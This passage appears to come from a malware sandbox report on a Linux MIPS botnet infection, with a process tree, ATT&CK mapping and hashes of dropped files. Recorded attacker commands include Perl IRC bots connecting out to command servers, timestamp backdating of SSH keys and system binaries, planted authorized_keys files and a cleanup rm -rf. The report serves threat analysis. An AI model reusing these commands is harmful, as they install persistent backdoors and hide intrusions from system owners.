      /usr/bin/ld -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccVPiK6a.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /bin/clean /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/ccKvyhO2.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
      4⤵
      PID:879
- /usr/bin/perl
  perl bot plm.ftp.sh 1080 -bash
  2⤵
  - Changes its process name
  PID:880
- /usr/bin/perl
  perl bot irc.undernet.org 6667 -bash
  2⤵
  - Changes its process name
  PID:882
- /usr/bin/touch
  touch -d "Dec 1 2018" /root/.ssh /root/.ssh/authorized_keys /bin/bash /bin/bunzip2 /bin/busybox /bin/bzcat /bin/bzcmp /bin/bzdiff /bin/bzegrep /bin/bzexe /bin/bzfgrep /bin/bzgrep /bin/bzip2 /bin/bzip2recover /bin/bzless /bin/bzmore /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/chvt /bin/clean /bin/cls /bin/cp /bin/cpio /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/dumpkeys /bin/echo /bin/egrep /bin/false /bin/fgconsole /bin/fgrep /bin/findmnt /bin/fuser /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ip /bin/journalctl /bin/kbd_mode /bin/kill /bin/kmod /bin/ln /bin/loadkeys /bin/login /bin/loginctl /bin/ls /bin/lsblk /bin/lsmod /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mt /bin/mt-gnu /bin/mv /bin/nano /bin/networkctl /bin/nisdomainname /bin/open /bin/openvt /bin/pidof /bin/ping /bin/ping4 /bin/ping6 /bin/ps /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/rnano /bin/run-parts /bin/sed /bin/setfont /bin/setupcon /bin/sh /bin/sh.distrib /bin/sleep /bin/ss /bin/stty /bin/su /bin/sync /bin/systemctl /bin/systemd /bin/systemd-ask-password /bin/systemd-escape /bin/systemd-hwdb /bin/systemd-inhibit /bin/systemd-machine-id-setup /bin/systemd-notify /bin/systemd-sysusers /bin/systemd-tmpfiles /bin/systemd-tty-ask-password-agent /bin/tailf /bin/tar /bin/tempfile /bin/touch /bin/true /bin/udevadm /bin/umount /bin/uname /bin/uncompress /bin/unicode_start /bin/vdir /bin/wdctl /bin/which /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew /bin/.ssh/authorized_keys /bin /boot /dev /etc /home /initrd.img /initrd.img.old /lib /lost+found /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var /vmlinux /vmlinux.old /sbin/agetty /sbin/audispd /sbin/auditctl /sbin/auditd /sbin/augenrules /sbin/aureport /sbin/ausearch /sbin/autrace /sbin/badblocks /sbin/blkdeactivate /sbin/blkdiscard /sbin/blkid /sbin/blockdev /sbin/bridge /sbin/cfdisk /sbin/chcpu /sbin/ctrlaltdel /sbin/debugfs /sbin/depmod /sbin/devlink /sbin/dhclient /sbin/dhclient-script /sbin/discover /sbin/discover-modprobe /sbin/discover-pkginstall /sbin/dmsetup /sbin/dmstats /sbin/dumpe2fs /sbin/e2fsck /sbin/e2image /sbin/e2label /sbin/e2undo /sbin/fdisk /sbin/findfs /sbin/fixfiles /sbin/fsck /sbin/fsck.cramfs /sbin/fsck.ext2 /sbin/fsck.ext3 /sbin/fsck.ext4 /sbin/fsck.minix /sbin/fsfreeze /sbin/fstab-decode /sbin/fstrim /sbin/getty /sbin/halt /sbin/hwclock /sbin/ifdown /sbin/ifquery /sbin/ifup /sbin/init /sbin/insmod /sbin/installkernel /sbin/ip /sbin/ip6tables /sbin/ip6tables-restore /sbin/ip6tables-save /sbin/iptables /sbin/iptables-restore /sbin/iptables-save /sbin/isosize /sbin/kbdrate /sbin/killall5 /sbin/ldconfig /sbin/load_policy /sbin/logsave /sbin/losetup /sbin/lsmod /sbin/mke2fs /sbin/mkfs /sbin/mkfs.bfs /sbin/mkfs.cramfs /sbin/mkfs.ext2 /sbin/mkfs.ext3 /sbin/mkfs.ext4 /sbin/mkfs.minix /sbin/mkhomedir_helper /sbin/mkswap /sbin/modinfo /sbin/modprobe /sbin/nologin /sbin/pam_tally /sbin/pam_tally2 /sbin/pivot_root /sbin/poweroff /sbin/raw /sbin/reboot /sbin/resize2fs /sbin/restorecon /sbin/restorecon_xattr /sbin/rmmod /sbin/rtacct /sbin/rtmon /sbin/runlevel /sbin/runuser /sbin/setfiles /sbin/sfdisk /sbin/shadowconfig /sbin/shutdown /sbin/start-stop-daemon /sbin/sulogin /sbin/swaplabel /sbin/swapoff /sbin/swapon /sbin/switch_root /sbin/sysctl /sbin/tc /sbin/telinit /sbin/tipc /sbin/tune2fs /sbin/udevadm /sbin/uid /sbin/unix_chkpwd /sbin/unix_update /sbin/wipefs /sbin/xtables-multi /sbin/zramctl
  2⤵
  - Adds new SSH keys
  - Writes file to system bin folder
  PID:884
- /bin/rm
  rm -rf a.c ".reboot*" a.c clean.c cls.c ping.c "scan*" distro go "go.tgz*" cls.c clean.c bot ping.c go "gs*"
  2⤵
  PID:885

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/bin/.ssh/authorized_keys

Filesize
381B

MD5
fada28f9405c20320d0169f7549137da

SHA1
53f934539664a6e2c0ef06317b8518385e1272aa

SHA256
e962c1d303f7d1b24325d7e8165e7b3c157455c07d666af1a5bfce4e6bcb8640

SHA512
caf57f3fef4eccef88a83c74ec9b53ffffe52bfc6ba809957991beedebf581f427994a59bdec5cb9e5c9b361e6c646501f952d7941acc4ef90721f7bc6399784

Download Submit
/bin/clean

Filesize
27KB

MD5
2c7aa8cf9ea2ee1b14d55104c885294f

SHA1
fe3cf8bf540a2b4b6843f5e9c8c38abc805e91b1

SHA256
8968ba1c231db2d8e422ffcfc8f0b1877397d7320a5e24d6928597f46a6e7371

SHA512
607c040d16d4988e06effb81c56c4afc3f32aecb545760e1d4c114c335d5e5468cfa0247fcf5c8b9cd4fbb64b41ade33a8994adfe58231ae63fde1a63eae74c9

Download Submit
/bin/cls

Filesize
23KB

MD5
16c4d4e66222eb6f4cba4859fe22963c

SHA1
edaa7fe6f7920f04c8fab73cb5a311dd1078eda5

SHA256
7f50686803effd6f0dbcf58db615d327e99d6d4d494fd286f198d6729097a334

SHA512
4177405c8271299a9e310b594b76e50126d1b8a4a23e091eead19de746f525fdcc07ab906d9df7b8099fb8d93a1f12008d06040c9310079722a1452802117cb5

Download Submit
/bin/false

Filesize
1.2MB

MD5
59d4ddd8dafe5d32d364d3f079f9d047

SHA1
123c130531cd265e7a4ed43ac71ea9b280ccf15c

SHA256
0df0983446a29ee4a99d696871c53ff5346a282fdddb85779cd1ccb338bc18d2

SHA512
433fb7514c3ea8eba49980a97004e19d104643a93df08fb28d9e6886c2ccf845b894b3dd7e42dccfa493b4f8d58dfa2056677e370dcba10096fe886c3d0545a9

Download Submit
/bin/ping6

Filesize
6KB

MD5
2966247931f0452caed46f0e53982692

SHA1
4f637b875a8713aa0a8c62eb887517a77cf150eb

SHA256
5121053834f40bc137443e57fc5a981ea9a133a8bf50df7716ca5215bc22931d

SHA512
be0d7fdf9cd5a533c1e15460034503b43f9b25819b2c226ff024dac0a2e708633b06eb9206846b700125e456dca55c2374f8dcb8bf55e69fed291d34186557a4

Download Submit
/etc/group+

Filesize
705B

MD5
cf124b9edd110708e2b22b758ad0d835

SHA1
5d07eabc77d7f46283cea67ac8a89208956c3eaa

SHA256
5561a4c4229ed03e9a63526205ee0a8c9f012bd8bab8feef18126598ee3f1517

SHA512
076423cc2d6954d7ccfa1b70f75d4f137ceda38eeb8e69c79d146de2a307292b922145d2888b4794ec9e22584609d2d156975a286b0245307fcdc777c0d60512

Download Submit
/etc/group+

Filesize
709B

MD5
c6129bfd885a1213cd7ad471efb3ba74

SHA1
b5e523796bdab13a8fb71f7c5072df649709474b

SHA256
44c7c37e619aa264615e910cec3e6298267d531f8b2c94867984d931d38a11b3

SHA512
c9f090c2e271c7f7718ebb946ed0c80e789e6cae5755817626a0bfa1287bdbcfed80f5fd5e6b6fab428e7b1ae3f444fbd7e0781761917e14a651fddd7f5013d5

Download Submit
/etc/group+

Filesize
709B

MD5
3664f87017a0b2b4f44de7ce94eb3183

SHA1
db632c33abc29148c98cce40dc6832630e119ade

SHA256
9961a4fb30575425c404c804a99028e78f1799e8431fc27a7f9524e0322f480f

SHA512
097160bfc2d0e1450e30f03dd57551a02490ff0504d6aa49351155ec6491590cb86cdcba30d83c977a5f1c8b8410f07981c0fbf22b9cc218d1716220a9e9c02f

Download Submit
/etc/group+

Filesize
710B

MD5
8134414453b29650fed022b1f044a957

SHA1
ab208a413c77c085d1d9341f374c9b9378ae669a

SHA256
dc726a19a7f0e7617aa2d0f14aa28f29946e4c52e27a3c5c7f8d864374814481

SHA512
e495439100e866ac1fdc4f9b4cdd709120827f7e4b839cc48b0dd6b286c82c2eb2717d2fa430b61b1faeec3d3d0fcb30fb6d7481e7ccb14c49670dd496588760

Download Submit
/etc/gshadow+

Filesize
596B

MD5
af8cf26ed51defb6aa80306851dd077a

SHA1
c845c7e36b4a15775e1262871f117d2ee7b5b491

SHA256
986faa915f371052ac91bd5554394a13cb44e33100da9d9b3d383d9b795fdf77

SHA512
f0d9524f37742cba47f0efefb8c27218263bef7601b7b4f28163fed100d591513161d42da93d3c6937b1b092b69a5c8c1eda200911494afda1a3dbccac240bd6

Download Submit
/etc/gshadow+

Filesize
600B

MD5
3088263e37c5d364223b9bb481c7ccc8

SHA1
eee2afa05db3d5350e253cfecb556e7d537091ae

SHA256
4b5401c08792b55f5f4ee1745634e3667ff4b5387030b011f520d37aa2957fc2

SHA512
975fcc23a3bdd3b85869ba894e3bc7328388f36cb5b970fef3e4281b801bdd5e6ad344601685a53441b5b345df636562fe1193bd4fe872e2bd715dd622007574

Download Submit
/etc/gshadow+

Filesize
600B

MD5
662e6170cb98f29772ee0fde60c9509a

SHA1
8e4b8a670a18f21a7b05235705dc28b24f375885

SHA256
ea97056485a501aef2ac1cf3b893cb30d9ad222b4cb923ffe61c2dbbcd877077

SHA512
b8a1430b23cb6e10c9b8a1b596f9e46423eaff45325e48f8f718cde1f97c92d11e78078d0ae93f15d8fa32710587eac025ae082ca3ac1959735ff432c1c7037e

Download Submit
/etc/gshadow+

Filesize
601B

MD5
909b1e747f3a72366b47e8ee9a7df8a7

SHA1
d23a0e105296de3412a2756c8fcbe5388585d000

SHA256
d17257c2509ba1157f96409407bb659b6e55717782c1c1445d372d295c022cd4

SHA512
f8461b4d0f989a6cb792e4566b8895a4305a32ad9324784bab7a102a3799dc03355ed538bf1e611d8040ce3e8e59bdc41f43474ab7afe6dabb1bd9cdeb5f2428

Download Submit
/sbin/uid

Filesize
6KB

MD5
430781f38faa52b39983ed753c19990a

SHA1
0ee5833c84e2192fdff72aea855ca8d89b1ec404

SHA256
ef419bceb1584ba5d14959ded03da15ff52c2006baf5a122f2a5253d2984a829

SHA512
e7e3bddfbfd0ed262ed26a4c67298310cb2f552eba2c1d3fba2b741bfd6b0325f6b72b5bae21e95614d96e8dbcb7660940eb70a7d8380bcaa402b87e81a4dde1

Download Submit
/tmp/cc5Lkanj.s

Filesize
68KB

MD5
c101da3ad72ec5287fa717157aa0d775

SHA1
8223a21014663a40f7d08b8845d08a91c9eb8617

SHA256
09f0909970d14d81f940971fcd39060c31a596d6dccee4d5486ce7065907d325

SHA512
f707987fce8a2609ca1a2bce2850942203275fb58b4b9de306baf7299fd428b561a7b8df9868e98fa0ad4022c2a82f56ec629c08df716c231685a033eb606917

Download Submit
/tmp/cc87fdIa.o

Filesize
40KB

MD5
3c13c4df96c2b68c83a4e17a8a94e303

SHA1
e55d276cb26136048176be57204c81d9cba65a4d

SHA256
0c8be00c46df6cf59402755976f30512b4e3331e1a1b81e85992e1a09bfc4e1c

SHA512
33e1e26887c3b4fe7631d4d686ddec02b978307d68a2330e331ffa43b8ef77edd757c9120810549737f7f1a9c26a134eca3af5ef90d68ecfbc0a2e9a777f6fba

Download Submit
/tmp/ccAGAJ2y.o

Filesize
1KB

MD5
e6f3d140b06f2e1ebef7516f85aff937

SHA1
54335bde1346d66dac7ffcfd21d5cb58a2623209

SHA256
5271ab3655e0053c9246149557438f6f7727adc7292c1adad7d0ee1f859655f4

SHA512
9a8d666afe7774a6fb5a722e596305690ab285fd5a449910968ef6bfc63403c913a5086e692c129b41d2ca1fa02bd4f7e54ba63a6112504d64ca1831ca63eb45

Download Submit
/tmp/ccJ9PE9l.o

Filesize
23KB

MD5
f005689007342141be36530ec59b7699

SHA1
4d047393747ae48dab83723a6dc7c88fcfd40aba

SHA256
ad9e88fedcb792b6ba75e0c3b245380cdff7ed3d5b5957947ca738cc02111cb1

SHA512
9225be1a737da4df179e91046a471a0eed0c6469408127d0ecae9f871a5c28253bbcef66def9236cd93fff8b962346846a47edace3df88ad747c3c255ecb2320

Download Submit
/tmp/ccKvyhO2.o

Filesize
24KB

MD5
7c0e05f10b71ab6578d51be8386b9711

SHA1
00a7443c0d658a436865afa1474c7e8089c29405

SHA256
7c0fb086464c3f0bbfdc89d4a2e2c11c033b0360c9f685131d20698ce608882f

SHA512
45ebbf3015db487c5c523b1f5e482673a363144e4abb36540a9adf40ca46a4c44d67cf88f9fa6391795009a4cd72bbadfba335a7f31a64efe8a5d961dc68676e

Download Submit
/tmp/ccOMVaL3.s

Filesize
115KB

MD5
84cfce2c99d04696289934669d4e7286

SHA1
9b67b0655fa8f236ed45314f99851c96e030f05b

SHA256
60cb4ee9f2553b9e94fe1d306d4d3571b9c839df4478d65840ad047763d8005d

SHA512
1fa006a880732f84c138ab8d49bc2336e8b449a07c32cf943b95c31127201da71468e5903685473f039dba21434bdbccd5db4b7d49e32023af600f6e3d6a0091

Download Submit
/tmp/ccRaHPsz.s

Filesize
1KB

MD5
3fa646a0ade6cf1ba093e9d8d0422c8e

SHA1
bcb10062d11d9926620b580f27b2c44615568906

SHA256
7d6eaaa3e248d2c4bfcf461fb210c00e1733e4b898786714f1371fe8aa1437df

SHA512
3e72d076d87c0beff46fba5703c3146364ce0203c1e6437bb59fff5f8348791b0752a8007d5bf091027ec24eaf8e2715f97d390d5d7b5c50e095efda45e1e2a5

Download Submit
/tmp/ccgihP0j.s

Filesize
60KB

MD5
81c04c3c0d671105fe99e46603129a39

SHA1
38dc0ad8559d527038be125ce8f85e10f811de02

SHA256
75c0dae662ec8acaffafaf1d63a06e600798c0a41569d65aed470afdf542bd04

SHA512
b5449d912f38da5747e89d0e076fdd51e6b3eac9588c0aae37db6530be4e328dc42dd9c3f3295bdd1cf9f85596790442108860f1f58c0d8b1e50cae369597a98

Download Submit
/usr/games/.ssh/authorized_keys

Filesize
797B

MD5
75ec0996010e6b46130bfe128c1df884

SHA1
ff331488ceb9c10060d076eed130a8042295ceae

SHA256
51c1a1e1968fe1109d62fd0c63eddf8e5638522b4f5e66795f3c243d2f505d6d

SHA512
8f55cf74da0a95c0e50369feeadd05f77e72a94a4e6918e8d529b45fd67685f0ecf3df3fa9e812c0703fca24d2c90d5cbf0df261ed1877bf4925456c5566a3be

Download Submit
/usr/share/man/man1/kwk

Filesize
40KB

MD5
c16aabadea1846fc48ae298e6361c924

SHA1
53e51842fc7dba95beade15bd4a0fac246791b7c

SHA256
e29a58934eb8efcfa9c21b2276eca55624332e4fd0ef0e8c9d49163245af2b0c

SHA512
6efdf1c7d899059779bd1ce81f708f122d6668447219abf2f5b6b0edd6ca0270ca402b13bfc500142c55f884c8929e2e7154df9e504799f6c0bd1dcbcc8facc9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads